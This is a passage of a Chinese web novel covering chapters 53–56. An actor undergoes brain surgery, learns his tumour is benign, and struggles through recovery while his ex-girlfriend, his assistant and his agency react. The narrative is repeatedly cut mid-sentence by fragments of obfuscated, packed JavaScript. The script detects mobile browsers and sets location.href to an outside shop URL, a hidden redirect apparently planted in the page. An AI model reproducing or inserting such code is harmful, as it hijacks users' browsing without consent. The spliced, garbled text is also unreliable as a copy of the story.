l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583998|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,知道了。”阿远说。 又要粉丝卖力气,又嫌弃粉丝水平低。看多了这些娱乐圈林林总总,再回头看到粉丝的一腔热忱也会觉得麻木。 可能世界的运行就是如此,习惯就好了。阿远有些痛苦地想。 是……痛苦吗? 有时候祁歌会不太确定。 躺在病床上望着天花板上可疑的霉斑熬过漫长等待的时候,时间是凝滞的。 在走廊里长长的队伍和嘈杂人声前面等待着做检查的时候,时间是凌乱的。 偶尔打开手机想要说点什么,又最终关了屏幕放下的时候,时间是锋利的。 还有,看到父母佝偻着身躯在病床旁忙活,用热水跑开米饭省下一顿饭钱的时候,时间是灼痛的。 家人对他很好,没有嫌弃生病的麻烦,也埋下了担忧细心照顾。 公司对他很好,让他先好好养病,任何工作的事都不用去操心。 但是他也是人,也会自责没照顾好自己的身体让父母劳心劳力,也会心疼曾经付出心血的作品因为一些其他的事情而被影响。 他也是人,是人就会有喜怒哀乐,生老病死。 忙忙碌碌这些年,他终于有了多到几乎用不完的时间,来考虑很多之前没想过的事。 其实也没有什么遗憾。 虽然演艺生涯没多少年,但作为演员,他也塑造了不少角色。 角色像一本本书,有人负责编撰,有人乐于解读。角色一旦被创造出来,便像雕塑一般凝固在原地,时光封存、青春永驻。 而演员本身呢?演员对无数观众来说,应当是遥远而陌生的,只在角色中变幻着灵魂。一次次注入,一次次抽离,短短人生转世一般度过了几辈子的光阴。 “明天手术,你是第一台,”晚查房的时候护士嘱咐着,“禁食禁水,不要紧张,到时候我会来备皮。” 祁歌的父母忙不迭问了些手术的准备和流程、医生的看法,又问祁歌最近的状态、各种仪器的数值……其实这些他们已经问了很多遍,但总还是心里不踏实的。 祁歌笑着谢过护士,又第一百次保证自己没什么不舒服,手术一定没问题的,让父母早点休息。 他已经决定倘若后续的治疗压力太大,或是因此失能,决不要在病床上继续挣扎,要把剩下的钱留给父母,让他们继续好好生活。 他也和父母商量过,提前签了捐赠遗体的协议。 如今,没什么可做的了。 其实祁歌之前有猜想过,到了最后的这个时候,自己会感觉平静安然还是痛苦煎熬。 现在亲身踏入这片泥沼,才发现这两样好像都没有。 可能人的负面情绪累积到一定程度,便超过了能够真切感受的阈值。 事到如今对他来说,好像是麻木的随波逐流更多些。 随便吧,不管明天那一觉是否醒得过来,也不管还有多少醒着的时间。 可是,一片麻木的灰色之中,有个名字仍然是鲜活的。 可能是那个名字连接了太多痛楚和渴望,即使是感官过载的冲击也无法将这些印象斩断。 他按亮手机,犹犹豫豫删删改改了半天,最后输入了两个字。 他闭上眼按了发送,然后果断关机。 53. 手术中 程书仪一直都没有拉黑或者删除祁歌。 ——她原本想这么干来着,后来想想未免有点幼稚,再说两个人都这样了,祁歌想必也不会再来骚扰她,于是作罢。 就当她及时退出这个过于亲密的关系,回到舒适圈继续做个远观者也很好。 不过,也不知道是不是祁歌屏蔽了自己,程书仪似乎再也没在朋友圈刷到他的动态。 这倒是出乎意料。 因此这天在异国他乡的大早上,突然收到“晚安”两个字时,程书仪是真的来回看了三遍,才确定真是祁歌发的。 ……什么毛病啊? 很巧的是,偏偏就在这一天,祁歌的两部作品居然同时上线。 一部是这个祁歌第一次担任男主角的低成本电视剧,还有一部就是在电影节上获奖的古画复原短片。两个作品碰巧确定了同一天在网络平台上线。 “这一定是个好日子!”阿远摩拳擦掌,准备配合公司大搞一波宣传,却被通知暂且按兵不动。 “啥意思?”阿远不解地去问高姐。 高姐敲着电脑眼皮都懒得抬:“公司意思是先等一等,看祁歌的情况怎么样再定后续的宣传走向。” “首播通稿也不发吗?” “公司层面要有人文关怀,”高姐说,“动动你脑子,祁歌今天手术,万一……我们怎么会有心情搞宣传。” “今天手术?”阿远觉得心跳都漏了一拍,“那什么、我……” 高姐终于抬眼看了她一眼:“你什么?别想翘班啊我跟你说。” 阿远一时无言以对,原地转半圈深吸了口气,又忍不住问:“姐,你都不紧张吗……我好紧张。” “我跟他父母联系着呢,有消息第一时间就会知道的。”高姐重新将目光投向自己的电脑屏幕,但手指却没有继续打字。 大概也还是在意的吧…… 阿远回到自己的工位上,上网查了查祁歌这种脑瘤的手术时间和风险,又心神不宁了好一会儿。 这么想来,祁歌对程姐可真好啊……她不着边际地想。惊讶也好生气也好煎熬也好,这些由自己承受的复杂情绪,因程书仪全然不知,完全不用感受到。 但是,阿远又忍不住想,如果是程书仪,可能也根本不会有自己这么煎熬。 程书仪比她强大得多,也成熟得多。 这个道理,她都明白,难道祁歌会不懂吗? 于是程书仪晚上跟人吃饭时又收到了来自阿远的消息:“他就是个傻子!” 这个“他”代表谁并不难猜,“他”是个傻子这事儿也没什么令人惊奇的,但阿远看起来像是被什么事气到了,以至于不得不主动找自己吐槽,这还挺让人好奇的。 如果是平时闲着的时候,程书仪可能会饶有兴致地问问情况,看个笑话。 但她最近行程还挺多的,实在没工夫操心这些有的没的,于是只简单回了个“?”,便暂时将手机放在了旁边。 按照平时的经验,她还以为阿远接下来会滔滔不绝地进行一番解释和怒骂,但直到应酬结束程书仪再按亮屏幕,才发现没有收到任何新消息。 算了,她想,合理推测应该是阿远又为“你们明明相爱”找到了什么新的佐证。 这些事情,她现在已经一点也不想听了。 时间会向前走,她也不会为谁停留。那段故事如果注定会有个收梢,停在这里就很好。 中午高姐暂停工作去吃饭,一推门就差点和正好走到这里的阿远撞上。 “小心一点,冒冒失失的。”她批评道。 “高姐,”阿远对她施放狗狗眼,“怎么样?” 她心下了然,明白过来阿远刚才八成是一直守在门口,就等着探听消息。 这孩子之前向来是有什么说什么的,什么时候转了性了? 于是高姐明知故问:“什么怎么样?” “哎,高姐——”大概是看出她表情没有异样,阿远拖长了尾音直接撒娇,“当然是问祁哥了。” 高姐不再玩笑,敛了神情:“说手术是成功的,送进ICU等着度过危险期了,不过之后的治疗和康复安排暂时还不好说。” 阿远一颗心大概不知道该松下还是继续吊着,一时表情有点复杂。 “行了吃饭去吧,”高姐赶她走,“你在这儿焦虑也没用。” 那确实。阿远叹了口气。 她转身走到走廊拐角,高姐忽然又叫住了她:“对了,那个程书仪……这事儿你说还是我说?” 阿远一个激灵转过身:“啊要说吗你你你说吧要不……” “我以为你们关系还行?”高姐用眼神审视着她,“我的话就只有工作关系了,主要是得跟合作伙伴们告知一下。” 这事儿本来就是祁歌做得不对,这样的话……估计程书仪更难接受。阿远心里又是一番天人交战。 “……要不还是我吧,我本来也约了她有空出来聊聊。”她最后视死如归地说。 似乎是要把所有的事情都赶在同一天完成,一顿饭的工夫,又出了大事。 “上了热搜?”紧急会议上,高姐和阿远都是一脸惊讶。 这年头,还有不用花钱就能上的热搜? “谁给买的,对家吗?”高姐皱起眉,“黑热搜?” “目前看来应该不是,发布者是影视博主,热搜的讨论大都是正面的,误打误撞吧。”公关部负责人在屏幕上展示了一下这个词条。 那部古画复原主题的短片在线上公映后,不知怎的很多人注意到了里面祁歌的……颜值。 词条的名字是“鲜衣怒马状元郎”,首条视频是一位影视博主做的祁歌在短片里出镜的片段剪辑。 会议室里的大家一起看了一遍。 整个短片里祁歌所有的镜头大概都在这里了,原来拢共也不过短短的几分钟。 画面里他穿着一身红衣,头上戴一顶双翅乌纱帽,先是下车与人寒暄,后来落座塌上,喝酒寻欢,再对着酒杯若有所思,最后酒意上来,笑着插花浅眠。 不算特别有难度的表演,但短片的镜头语言很精当,光线也打得很到位。网友纷纷感叹这位状元郎也太帅了,又问这位沧海遗珠的男演员到底叫什么名字。 “……这也没什么内容啊,这角色谁给他接的?”老板不解地问。 “哦这个是新生代剧组自己联系到他,给公司提了申请的,”高姐解释说,“这部短片前段时间在独立电影节获了奖,才有了点关注度。” “嗯……现在热搜多少位?” 公关部刷新了最新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590902|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数据,说是文娱榜已经进了前10,主榜也挂在了20以内。 “既然是自发的,我们也顺势做一下吧,”老板发话道,“只推一推短片相关的内容就行……哦对了,小祁那个手术怎么样?” “谢谢老板关心,”高姐说,“手术很顺利,不过人还没醒,具体还要等病理结果和医生评估。” “……行,公关跟进一下后续。还有什么事吗?” “还有个也是关于小祁的事儿,”公关部部长已经从善如流地把对祁歌的称呼换成了“小祁”,“我们好像被防爆了。” 没想到防爆居然是真的,只不过不是自家防爆,是对家在防爆。阿远心想。 那部电视剧今日播出四集,原本应该是没有陈逸心的戏份。但不知道导演在剪辑上出于什么考虑,最终播出的成品把时间线进行了打乱重组,开篇先放了女主、男主和男配三人对质的场面。 “导演那边的解释是想先把名场面放出来,吸引观众看下去。” “嗯,也有道理。”老板点头。 “但问题是我们没有出席任何宣传活动,今天的开播直播也会缺席,这么一来男配陈逸心获得的关注比祁歌大得多。”宣传部门将目前的剧集相关热度表格拉了出来,“不管是单人热度还是CP热度,现在都是陈逸心遥遥领先。” 就因为这个,阿远这边也收到了来自祁歌粉丝组织的多方抱怨。 这样下去,公司这边会非常被动。 至于舆论起来,会不会倒逼剧集方去进一步删改剧情,现在也很难预料。 “我们不能再等了。”高姐一锤定音道,“今天先发个简要声明吧,后续等艺人清醒了再进一步公布。” 老板点头首肯:“注意影响。” “好,一旦公布病情,媒体应该就能查到医院,”公关部说,“发布前我们得先联系一下相关部门,确保不打扰病人和家属。” “唉,这个小祁啊,”老板喟叹了一句,“我一直很看好的,怎么偏偏这时候生病。” “是我没照顾好,”高姐立马主动认错,“以后一定多多关注,等他康复了让他给公司多挣点钱。” 会议室里的大家都笑了。 阿远却有点笑不出来。 她心里清楚,时间紧迫,必须尽快跟程书仪摊牌了。 不然程书仪第一次知道这件事,会是在网上白底黑字的公司盖章文件上。 “那我们的词条呢,有什么点子大家提一下。”会议进入最后提点阶段。 在座的大家都说了几个,阿远也弱弱举手:“我想了一个,‘史上最惨男主’,怎么样?这部剧虐男主虐挺狠的反正……” “我觉得行,”高姐赞同说,“顺便阴阳一下某些人搞宣传不做人,挺好的。” “那就开整吧,”老板最后一锤定音,“小高,既然小祁是你的人,这次全都由你审核拍板吧,辛苦了。” “没问题,”高姐笑了笑,“谢谢老板信任。” 就在大家收拾东西准备起身的时候,高姐又补充说:“阿远,那你来做我副手吧,负责汇总大家的相关进度和提案。” “好的,谢谢高姐信任。”阿远立刻copy回答。 只是“信任”这个词落在她心里,没来由地有些刺痛。 54. 手术后 “不痛。”祁歌说。 被唤醒之前,他什么梦也没做。 麻药下的大脑如同死了一般,是他许久未体验过的黑甜乡。 一时甚至有点留恋。 再次清醒时身边的一切好像都在旋转,光怪陆离的最后定格在ICU病房一片固定的枯燥视野。他早已失去了明确的时间感知,能明确的只有存在本身。 这个世界还存在,人类还存在,他自己,还存在。 清醒的人住在ICU,生存意识被极大地磨灭。 祁歌每每闭上眼,黑暗中就会浮起许多面孔。不知怎的,每个面孔都从正常温和的人脸变得扭曲可怖,最后将他吓出一身冷汗醒过来,才发现自己是睡着了。 是恐怖片看多了吗……他有些心悸地想。 次数多了,醒着的时候也开始不太确定自己是在现实还是在梦中。 这个离死神最近的病房并不像想象中那样安静。 有医生和护士在身边来来往往,有各种机器滴滴或轰隆作响,还不时能听到有病人们呻吟或抢救的声音。 “痛不痛?”有时候看他醒着,父母会在固定探视时这样问他。 不痛,手术的时候不痛,做梦的时候也不痛。 不知道过了多久,也不知道什么时候,祁歌发现自己已经回到了普通病房,身边不再空无一人。 母亲常常陪在病床旁,会笑着看他,让他看窗外的天空,还有手机里的各种小视频。 小猫跳上桌子时摔了下来,小狗快乐地奔向一片雪地,亲戚家的小外甥女会走路了。 这感觉就像世界被蒙上了雪花点,但其实正在播放的电视节目从未终止过。 病房里依然每天都很繁忙。 “一会儿做腰穿啊!”护士会用这句简单的话给祁歌带来大半天的战战兢兢和心神不宁。 比起各种检查和治疗带来的折磨,周身突如其来难以预料的疼痛也总在袭击他所剩不多的理智。 好像这也是他第一次意识到,保持“活着”的状态是一件如此艰难的事。 “不痛。”祁歌说。 其实他不确定自己有没有发出声音。 他把头偏向一边,假装没看到母亲泛红的眼眶,也没看到父亲隔着玻璃的注视。 后来不知怎的,他陷入漫长反复的发烧,身上总被放着冰袋,脑子也混混沌沌,维持意识都很勉强。 测体温、抽血、输液……他被转了一次院,好像是因为病床科室什么的原因。 总之,再次被放在轮床上轧轧而去时,祁歌忽然有种自己已经魂魄离体的错觉,一时以为前进的方向会是太平间。 那里当然不是太平间,只是一间白色的没窗户的屋子。 旋转飞逝的光怪陆离的世界之中,他逐渐意识到自己仍有一个完整的躯体,只是没有办法控制它而已。 而已。 这个认知让他一点点陷入黑色的沮丧和绝望,便放任这一缕意识在高热中烟消云散。 祁歌睁开眼睛发了挺久的呆之后,才意识到他的身边坐着一位女医生。 查房的时候他见过她,是自己的主治医生。 他的病床周围拉着淡黄色的床帘,他不知道此时是什么时间,只知道自己的心仍浸没在绝望之中,沼泽的黑色触手丝丝缕缕地拉住了他的身体。 而那位医生什么也没说,只坐在那里静静地注视着祁歌床头的监护器。 灯光下她的眼睫沉静而安然。 让祁歌有一点想起了程书仪。 倘若,倘若她在的话…… 可能也会这样静静地注视着他,他的焦虑、恐惧、患得患失,他的懦弱、延宕、瞻前顾后……她不会贸然做什么评价,只会像这样安静地注视和接纳。 这可能一直以来,就是程书仪最让他安心的地方。 他不知道时间过了多久,大概半小时或一小时?那位医生目光一转,发现他醒了,对他轻轻笑了笑,站起了身。 “怎么样,大夫?”祁歌听到母亲小声问道。 “别担心,”她说,“血压不稳应该是感染导致的,我现在下医嘱,明天输上血看看。感染会控制住的,药物起效需要时间。” “好的,谢谢您,辛苦了这大半夜的……”母亲千恩万谢的声音逐渐小了下去。 祁歌其实也想说点什么,却没来得及发出声音。 他的身体好像渐渐从那黑暗沼泽中被捞起来一点,意识却又沉没了,那个黑甜的梦乡终于再一次眷顾了他。 “你要来机场?”程书仪对着电话惊讶非常,再次确认了一下屏幕上显示着的“阿远”两个字,“不是,什么事这么急啊?” “嗯也不算,但是……行吗?”阿远的态度难得非常坚决。 “……行吧。” 说实话,程书仪是带着点“我倒要看看你有多大的事儿”的态度配合了阿远在机场的截杀。 “这里有点吵啊。” 最后她们坐在咖啡店的小桌子前,头顶响着广播,周围有不少拖着箱子的旅客在轧轧作响的声音里行色匆匆。 而阿远看起来比任何一位旅客都心绪不宁:“程姐,抱歉这么着急来找你,实在是……哎你先别看手机,现在几点了……” “到底怎么了?”程书仪被她唬住了,“别急你慢慢说,发生什么事了?” 如果是在狗血小说里,她感觉接下来会听到什么关于死亡的噩耗。 有点吓人了。 阿远对那个被她推过去的咖啡杯熟视无睹,两只手都交错在桌子上,指节泛白:“程姐,祁哥之前确实瞒了你。” “他瞒我什么了?”程书仪问。 这个瞬间,她脑中想过许多可能,甚至觉得被祁歌骗了感情又骗了钱也行,都算是她可以处理和接受的坏消息。 但阿远只是告诉她,祁歌生了很严重的病,已经做了手术。 据说这个病生存率很低,最多也就一两年。 一两年? 好消息,这里面没有死刑。坏消息,是个死缓。 “……不管什么病,也得多看一些医生才行,”程书仪说,“应该早点联系我的,我可以把病历和片子发给专家看看……” 她再次按亮手机打算在联系人里寻找一下高姐的名字,又忽然想起阿远刚才的话,抬起头来:“你说手术已经做了?” 阿远点点头:“嗯,手术是……顺利的,不过他现在情况不太好,一直在发烧……” “在哪个医院?”程书仪又问,“……算了我自己问高姐。” 就在程书仪划开手机的瞬间,新的热搜条目被自动推送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599696|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了她的屏幕上沿。 她不由怔住了几秒。 “……发了,是吗?”阿远看到她的反应,也低头按手机,“他们说今天就要发声明了,所以我……程姐,真的不是我不跟你讲,确实是你回来的这个时间卡得太紧了……” “原来如此,”半晌,程书仪笑了一声,“怎么,赶在我看到新闻前告诉我,就不算瞒着我了?” “不是不是,”阿远赶紧摆手,“你听我说,我也是后来才知道的,我知道的时候当时就想跟你说了!但你不是说没时间吗?” “就这么一件事,需要很多时间吗?”程书仪反问道。 此刻机场里吵吵嚷嚷,人流穿梭,空气中回荡着各种机械的广播音。 她们选的这个地方并不怎么适合聊天。 但这也为她们提高音量提供了完美的借口。 “不是的,”阿远急着辩解,几乎要站起来,差点打翻了面前的咖啡杯,“姐,我也一直被瞒着,我知道会很生气!因为我就一直都很生气,但是我是最不想瞒着你的……” 深色的咖啡液被溅出来几滴,落在桌面纯白的餐巾纸上。 程书仪叹了口气。 她也说不清自己现在到底是什么心情,可能比起生气,难以置信的情绪还更多点。 已分手的前男友其实是身患绝症?活不过一两年? 这种事怎么听都像是编剧为了增加戏剧性或是什么东西,随便编造的一个“梗”。 理智上,她知道这个所谓的“真相”能解释很多事;但是情感上,她又不想用它来印证任何片段,或是跟任何往事和解。 毕竟,发生的事已经发生了。 “我一会儿有个会,晚点吧,晚一点或者明天,我去趟他的医院。”程书仪换了平静的语气对阿远说。 “我我去过了,其实祁哥现在还没完全清醒……”可能是觉得她生气了,阿远说话间表现出了几分嗫喏。 “我不是去看他。”程书仪说。 “啊?” 程书仪将目光垂落在放在桌上的手机上。 屏幕里显示着今天的热搜,祁歌的公司发出声明,语焉不详地说祁歌生病手术,现在仍未完全清醒,希望各界朋友们给他一点康复的时间和空间云云。 她没去点开评论,但想也知道都是些祈祷担忧祝福之辞。 这些话她不想说,也不想看。 祈祷,担忧,祝福,又有什么用呢? 比起去探望,她更想去找祁歌的医生聊聊。 她不相信事情会毫无转机。 至于他们之间的感情……是祁歌选择了放弃。 不管出于什么原因,她不想去左右这个选择。 “我看看有什么能帮上的。”她说。 “程姐,”阿远不太确定地望着她,“你还想帮他?算是不计前嫌吗,那你对他……” 程书仪又一次笑了出来:“帮他是我能力范围内的,这没什么。感情是另一回事,我们分手了,这个事实不会变。” 阿远重重点头,又重重叹气。 在这个蹩脚的故事里,她是旁观者,又何尝不是参与者。 “你呢?”程书仪问,“你说你知道会很生气,那你原谅他了吗?” 这次换阿远垂下眼睛,半天都没说话。 55. 好日子 再一次从梦境中醒过来时,祁歌终于没有被噩梦的片段缠绕。 床头挂着一袋暗红色的东西向下滴落着,沉重的颜色通过塑料管连接着他的身体。 看来昨夜关于医生的记忆并不是做梦。 不知道是不是错觉,祁歌觉得浑身都轻松了许多。 “今天几号?”他哑着嗓子问母亲。 “你醒了,”母亲过来看他,手心柔软的皮肤轻轻触碰他的额头,“现在好像不烧了,你感觉怎么样?头还疼吗?” 祁歌摇摇头:“感觉……挺好的。” 难以置信,这句话竟然是实话。 “几号了?”他又问。 “日子有什么要紧的?”母亲笑了笑,“怎么,你有什么要紧事吗?” 祁歌也回以微笑。 他也说不上来为什么,只觉得自己好像被人从什么冰冷的地方拉出来了,有了些鲜活的实感。 也不知道……过去多久了。 谢天谢地,烧退下去之后,冷静的理智好像也暂时回归了脑子。 “对了,你公司的同事来看过你,”母亲给祁歌看窗台上的花,“还带了花。” 花? 祁歌费劲地看过去,只见窗台上果然用矿泉水瓶插着花,是一支孤零零的粉玫瑰。 他这时才忽然意识到,这个病房里原来是有窗子的。 之前浑浑噩噩的时候,真的忽视了太多东西。 那支花的颜色看起来很像之前程书仪第一次去片场探班带的那束。 但只有一朵的话…… 祁歌笑了笑:“小姑娘挺记仇。” 他还记得自己随意从花束里抽出一朵给阿远做生日礼物。 今年生日都没给阿远过,孩子肯定会生气的吧。 当然,比起过生日,阿远想必还有更大的理由可以生气。 是……生气吗?阿远很认真地想了想。 她当然应该生气,但是此刻心里浓浓密密地积蓄着的情绪,好像并不能用生气来概括。 否则她应该愤怒,应该想要倾诉和发泄,然后将其抛之脑后。 在最初的不解和担忧之下,她虽然不愿意承认,也能隐隐察觉这种情绪似乎有个别的名字。 ——是伤心。 她觉得很伤心。 在如今祁歌已经命不久矣的情况之下,她的伤心似乎无足轻重,也不合时宜。因此她将它悄悄地掩盖起来了。 现在被这样直接问起,她也不得不面对那个她不愿去思考的事实,就是她因为被祁歌这样对待而非常难过和痛苦。 “这不重要,”她对程书仪说,“我怎么想没关系的,我也……能理解吧,因为我确实做不了什么……” “怎么能这样说,”程书仪认真地跟她说,“这不是你的问题,是他的问题。” “是、是吗……”阿远不敢抬头去看程书仪,她怕一抬眼就暴露了自己真的很想哭的事实。 “当然,”程书仪的语气很笃定,“是他错了,所以现在选择权在你。” 阿远有些不明所以:“选择……什么?” “选择和他的关系啊,”程书仪理所当然地说,“你还想把他当做重要的人吗?” “当然了!”阿远说,“祁哥一直都对我很重要啊!” 程书仪撇了撇嘴。 阿远清了清嗓子:“但没那么容易,他他他肯定得跟我道歉!” 就在这时,她的手机忽然响了。 今天果然是个好日子。祁歌的母亲在病床边转圈念叨着。 就在刚才,医生忽然喊了祁歌的父母去办公室,之后又亲自来了趟病房,带来的是他们之前想都没敢想的好消息。 活检结果只有薄薄的一页纸,上面承载的消息却是沉甸甸的。 “其实术中我们就觉得情况还不错,肿物的界限比较清楚,切除也很完整。”医生说,“现在从术后病理结果看来,你这个是炎性假瘤,暂时没有发现恶变的迹象。” “意思是……”祁歌感觉自己的脑袋可能多少还没恢复过来,竟然有点听不懂中文。 医生很有耐心地继续说下去:“别担心,我们已经排除胶质瘤,暂时不用安排放化疗了。虽然后续的康复预期还需要再观察一下,但我认为恢复正常生活的可能还是很大的。” 恢复正常生活,指的是完全……康复吗? 就像刚刚听到某种噩耗一样,刚听到某种喜讯时,人往往也是懵懂无知的。 祁歌感觉自己有点明白医生的意思,又有点不明白。 总的来说,应该是……不用死? 不是一年内、两年内不用死,而是……可以像其他人一样,度过漫长的一生? 祁歌望着父母开心的脸,总觉得有些隔膜似的茫然。 当然,后来回想起来,那时候祁歌的父母确实有点过分乐观了。 这毕竟是个大手术,病情又拖了太久,祁歌的身体已经非常虚弱。 虽然不必放化疗,但后面接踵而来的反复的感染和艰难的康复,对他来说才是更大的考验。 但那些毕竟都还排在“活着”的前提之下。 有了这个前提,更多的烦恼也会接踵而来。 这天祁歌登上微博想着要不要报个平安,才发现公司抵不过压力,已经代自己发过声明。 这个他和高姐沟通过,大概也有点心理准备。 “你领导说让我们不要给你手机……”看到祁歌在上网,他的母亲有点忐忑地想阻止。 “放心吧,我不看热搜,”祁歌给手机换了个手,保证道,“我给朋友发个消息。” 其实他也知道,他想发的这个消息没什么太大意义,但…… “这是病理报告,手术很成功,医生说会康复的,不必担心。” 这么一条文字他反反复复编辑了几次,才终于点了发送。 程书仪回得很快:“好消息,祝你早日康复。” 祁歌望着信息框出神。 这个医院的位置有点偏远,病房的信号非常一般。那张他拍好的病理报告的照片,现在还显示为灰色,在对话框里转圈圈。 她……已经知道了吗? 还是根本不在意了? 不知道是不是因为胡思乱想太多,到了晚上,祁歌又开始发烧了。 “本来还给你约了康复训练呢,”他听到主治医生在床边念叨,“这下好了又不能去了,没办法,身体底子太弱,慢慢恢复吧……” 祁歌努力撑开一点眼睛,看到医生又在盯他床边的监视器。 “四肢控制怎么样?”医生问。 祁歌的母亲轻声回答道:“时好时坏吧,有时候能配合,有时候又没有知觉。” “嗯,虽然是炎性假瘤,拖了挺久也有很大的神经损伤。”医生叹了口气,“预计能恢复成怎么样我真的说不好。” 床头的监护仪器规律地发出滴滴的声音,一时间病房陷入规律性的安静。 祁歌的眼睛又闭上了。 为了帮助恢复身体功能,这几天趁他清醒的时候,母亲都会要求他做某些动作。 大部分时候,他都没办法控制自己的左侧手脚,甚至脸部也觉得有些僵硬。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604442|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >……现在就连笑起来的脸也是歪的。 如果这个情况继续下去,他还能演戏吗? 是啊,人总是这样,最大的危机解除后,很快就会有许许多多新的小危机浮现出来。 少了致命的那个威胁,这些小危机也就变得致命了。 “医生,那我们还转院吗?”祁歌的母亲这样问道。 “他这种情况要慢慢休养康复,在肿瘤医院住着没什么意义,转吧。”医生回答道,“不过别急,他这不是又发烧了吗,我明天再安排复查一下血和脊液,看看感染控制得怎么样。” 母亲再一次千恩万谢地送人出去。 祁歌躺在原处闭着眼,心里说不上是什么滋味。 今天就要过去了。 尽管他一直在努力挣扎,但这个世界好像还是离他远去了。 如今夜幕深深垂落下来,那些黑暗的沼泽也重新开始蠢蠢欲动。 他忍不住在想,到底是从哪里开始错的呢…… 或许,听父母的话在家乡找个稳妥的工作,五险一金事业单位…… 或许,早早相亲结婚生子,和自己的同学一样,老婆孩子热炕头…… 或许,哪怕豁出去扔掉所谓的原则去谋一份更高的利益…… 人生短短几十年,他曾经做出过太多选择。 他经历过很多低谷与严寒,但似乎没有哪次像这次这样冰冷刺骨。 好冷啊。 地球周而复始地旋转,夏天靠近太阳,冬天又飞远。 人生拥有过太好的东西,离那最美好最炽热的梦想太近了,后面的所有时间,都不过是一次次追寻下一次的顶点罢了。 程书仪开完会之后才给高姐打了电话过去。 “我听说了,也帮忙问了问,”她简单地说,“炎性假瘤不会对生存构成太大威胁,所以应该不需要我帮忙了吧?” “……嗯,”电话那边的声音听上去也很冷静,“抱歉这么晚才通知你。” “没关系的,”程书仪说,“我在你们这里投资的只有那部电影,目前看来舆论趋势是好的,应该不影响最终收益吧?” 这个问题高姐答得异常流畅:“不会,你放心,电影的投资都到位了,导演在精心剪片,审批在顺利推进,上映方面也没有问题。” “那就好。” “程总……”高姐停顿了一下,忽然叹了口气,“其实……” “不用跟我解释,”程书仪赶紧打断了她,“说真的,你也不必为他说什么,我还不至于会相信‘是公司不让他说’之类的鬼话。” “我知道,”高姐被她逗笑了,“只是想谢谢你。” “谢我?”程书仪挑起眉,“谢我不撤资吗?我倒是想,那咱不是有合同……” “哎停停停,打住,程总,程投资人,程姐姐,”这下换高姐打断她,“私人恩怨不牵扯工作哈,我先说好,我是不可能同意撤资的!” 两人互相打了个哈哈,在愉快的氛围里结束了交谈。 挂了电话后程书仪又想,高姐刚才,可能是想替祁歌谢谢自己的……帮忙吧。 虽然好消息来得太快,她也没帮上什么。 在阿远接起那个来自高姐关于祁歌脑瘤误诊的电话前,程书仪已经在脑内开始梳理自己认识的相关领域医生,也打算赶紧了解一下国内外对脑胶质瘤的最新诊疗手段。 如果他需要,她是真的愿意帮忙。 却不是出于爱。 是真的像她跟阿远说的,只是因为她有这个能力,也愿意帮忙而已。 她想,或许自己是真的放下了。 56. 写日记 11月1日 今天是不发烧的第一天,或许是开启正常养病生活的开端。 冬天到了,气温骤降,人们都换了保暖的衣服,从窗口看去如同一个个面包。 有点想吃面包了。 11月3日 相信自己的承受能力,悄悄刷了刷网上的评论,还有一些过期热搜。 还是有很多人喜欢我的角色的,真好。 我不觉得他们会喜欢如今镜中这个邋遢颓废的残疾中年。 我……还会有回到镜头下的那天吗…… 11月6日 头上的伤口拆线了,试着做了什么电磁疗。感觉很玄学。 似乎对走路渐渐有了感知。 仿佛回到童年,在蹒跚学步。 11月12日 又转院了,入住康复中心。 这里的氛围和医院不太一样。 在医院里不管是医生还是病人之间,都不怎么讨论病情,气氛压抑,常常觉得压力很大。 在这里病人之间会互相探望,医生看上去也更轻松。 11月15日 沉迷刷微博,自闭中。 做体疗的时候发现很多病人互相打着招呼,很多长期住院的病人之间成了朋友。 我,有点害怕交朋友。 11月18日 左半身在康复医生介入下,已经可以脱离轮椅在治疗室里活动,但身体的精气神依然有限。 手术后胃口变得很小,一直在非常努力且功利地进食对自己有利的食物,进益寥寥。 妈一直在想办法给我做好吃的,谢谢妈妈 11月20日 都跟高姐说了不用来看我,谁都不用来。 …… 阿远眼睁睁地看着祁歌泄愤般在他那个横七竖八写了些小学生字迹的日记本上戳了六个点。 “哥,倒也不必如此吧……”她有些无奈地吐槽道,“你还赌上气了,不该是我恨得一见面先骂你一顿吗?” 闻言祁歌的表情立刻挂上了心虚。 他现在语言功能尚未完全恢复,说话不是很利索,有时候想说的话不能马上表达出来,又希望别人懂他的意思,表情倒是变得丰富了许多。 “不过说真的,哥你这个形象管理……”阿远上下打量了他一番,“被拍到的话这辈子别想出人头地了。” 祁歌一听就生气了,把头转向墙的那边不吭声。 